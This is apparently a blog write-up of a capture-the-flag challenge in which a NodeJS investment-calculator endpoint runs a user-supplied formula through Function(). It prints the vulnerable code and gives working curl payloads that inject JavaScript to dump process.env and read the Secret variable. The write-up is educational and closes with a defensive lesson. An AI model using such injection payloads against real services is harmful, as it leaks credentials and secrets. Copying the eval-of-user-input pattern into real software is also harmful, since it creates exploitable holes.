Wizer hosts CTF challenges on https://wizer-ctf.com and we'll be looking at #61 today. Like most of the challenges, this one is based on NodeJS. This CTF is not the result of a vulnerable library; it's a logic failure. These won't always show up in automated scans or linters, but can be very dangerous.
Walkthrough
Titled "Investment Calculator", the goal is defined with the following:
With the flexible investment calculator, find the Secret to win the flag!
What the "Secret" is or where it can be found is not specified, so figuring that out is step 1. I'm not a Node developer, so the answer wasn't immediately clear, but after some poking and asking around, I was pointed at the process.env variable. It contains all of the environment variables for the process and secrets (passwords, API keys, etc…) are often placed in an environment variables. With that knowledge, let's look at the rest of the code.
The API endpoint is defined on line 8.
pp.post('/investmentCalulator', async (req, res) => {
try {
// Extract all inputs from the request body
let json = req.body;
let formula = String(json.formula ||
`{initialAmount} * Math.pow(1 + {annualInterestRate}/100/12, {totalMonths}) +
{monthlyContribution} * ((Math.pow(1 + {annualInterestRate}/100/12, {totalMonths}) - 1) /
({annualInterestRate}/100/12))`
);
let initialAmount = Number(json.initialAmount) || 0;
let monthlyContribution = Number(json.monthlyContribution) || 0;
let annualInterestRate = Number(json.annualInterestRate) || 0;
let years = Number(json.years) || 0;
let totalMonths = years * 12;
// Validate that all inputs are recieved in the and are numbers
if (isNaN(initialAmount) || isNaN(monthlyContribution) ||
isNaN(annualInterestRate) || isNaN(totalMonths)) {
throw new Error("Invalid input: All inputs must be numbers.");
}
// Validate that the formula contains placeholders for all required inputs
const requiredPlaceholders = ['{initialAmount}', '{monthlyContribution}',
'{annualInterestRate}', '{totalMonths}'];
for (const placeholder of requiredPlaceholders) {
if (!formula.includes(placeholder)) {
throw new Error(`Invalid formula: Missing placeholder ${placeholder}`);
}
}
// Replace placeholders in the formula with actual values
formula = formula.replace(/{initialAmount}/g, initialAmount)
.replace(/{monthlyContribution}/g, monthlyContribution)
.replace(/{annualInterestRate}/g, annualInterestRate)
.replace(/{totalMonths}/g, totalMonths);
console.log(`Calculating with formula: ${formula}`);
// Ensure no unreplaced arguments are left in the formula
if (/{w+}/.test(formula)) {
throw new Error("Invalid formula: Unreplaced placeholders remain.");
}
res.send(String(Function("return " + formula)(math)));
} catch (e) {
res.send(e.message);
console.error(e.message);
}
})Summarizing, it takes four required parameters (initialAmount, monthlyContribution, annualInterestRate, totalMonths) and one optional (formula). If formula is not submitted as part of the request, a default is used (line 12). The default formula has placeholder strings that get replaced with the values submitted by the user.
There a couple of sanity checks. The first is on line 24 and it verifies that all values submitted for the placeholders (except formula) are numbers.
// Validate that all inputs are recieved in the and are numbers
if (isNaN(initialAmount) || isNaN(monthlyContribution) ||
isNaN(annualInterestRate) || isNaN(totalMonths)) {
throw new Error("Invalid input: All inputs must be numbers.");
}There is a problem with this check and it starts on line 17:
let initialAmount = Number(json.initialAmount) || 0;
let monthlyContribution = Number(json.monthlyContribution) || 0;
let annualInterestRate = Number(json.annualInterestRate) || 0;
let years = Number(json.years) || 0;
let totalMonths = years * 12;This code checks each parameter and, if it's not a number, replaces it with 0. So the first sanity check doesn't work.
The second sanity on line 29 check ensures that all required parameters end up in the formula:
// Validate that the formula contains placeholders for all required inputs
const requiredPlaceholders = ['{initialAmount}', '{monthlyContribution}',
'{annualInterestRate}', '{totalMonths}'];
for (const placeholder of requiredPlaceholders) {
if (!formula.includes(placeholder)) {
throw new Error(`Invalid formula: Missing placeholder ${placeholder}`);
}
}To start, let's test how it works when supplied with intended values. This works as intended.
The final check is on line 46:
// Ensure no unreplaced arguments are left in the formula
if (/{w+}/.test(formula)) {
throw new Error("Invalid formula: Unreplaced placeholders remain.");
}This check is supposed to ensure that no non-numeric values remain in the formula after the placeholders are substituted. This would significantly improve security, but it's flawed. The regex is supposed to look for word values, but instead of \w+ , w+ is used. This check is now looking for one or more occurrences of the letter 'w'.
Line 51 is where the big flaw is:
res.send(String(Function("return " + formula)(math)));Breaking this down, this line creates a Function object and takes a string parameter. In this case, the string is "return + {formula}" where {formula} is either user-supplied or the default (line 13). This Function object is then immediately executed with the parameter math (math). math is defined on line 5 as an instantiation of mathjs. Using this syntax, it provides the functions from mathjs to the Function object. Finally, the output of the Function is rendered as String and sent back to the user. Since this essentially functions as an eval , we can supply arbitrary Javascript.
We need to figure out exactly where the secret is. We know JSON.stringify(process.env) will show us all of the environment variables, so we can create a formula parameter and add it:
curl -X POST -H "Content-Type: application/json" -d '{"initialAmount": "A", "monthlyContribution": "1", "annualInterestRate": "1", "totalMonths": "0", "formula": "{initialAmount} * {monthlyContribution} * {annualInterestRate} + {totalMonths} + `${JSON.stringify(process.env)}`"}' https://chal61-nnshr5.vercel.app/investmentCalulatorI have to include all of the required parameters in the formula or the check on line 29 will trigger. Adding the arbitrary Javascript at the end with '+' makes it a string concatenation.
That dumps all of the environment variables and we can see the one we want is called Secret . This payload confirms it:
curl -X POST -H "Content-Type: application/json" -d '{"initialAmount": "A", "monthlyContribution": "1", "annualInterestRate": "1", "totalMonths": "0", "formula": "{initialAmount} * {monthlyContribution} * {annualInterestRate} + {totalMonths} + `${process.env.Secret}`"}' https://chal61-nnshr5.vercel.app/investmentCalulatorTo complete the challenge, we can enter this in the submission box:
{"initialAmount": "A", "monthlyContribution": "1", "annualInterestRate": "1", "totalMonths": "0", "formula": "{initialAmount} * {monthlyContribution} * {annualInterestRate} + {totalMonths} + `${process.env.Secret}`"}Wrapping Up
Rule #1 of user-input is Don't Execute User-Input. This CTF shows why it's so dangerous. Line 51 is dangerous code, but the error is on line 46. A badly-implemented sanity check is arguably worse than no sanity check at all because it gives the illusion of safety. No code-scanner or linter will catch that. They'll warn you about the code on line 51, but you'll assume you're protected by the sanity checks and now you've shipped an exploitable product.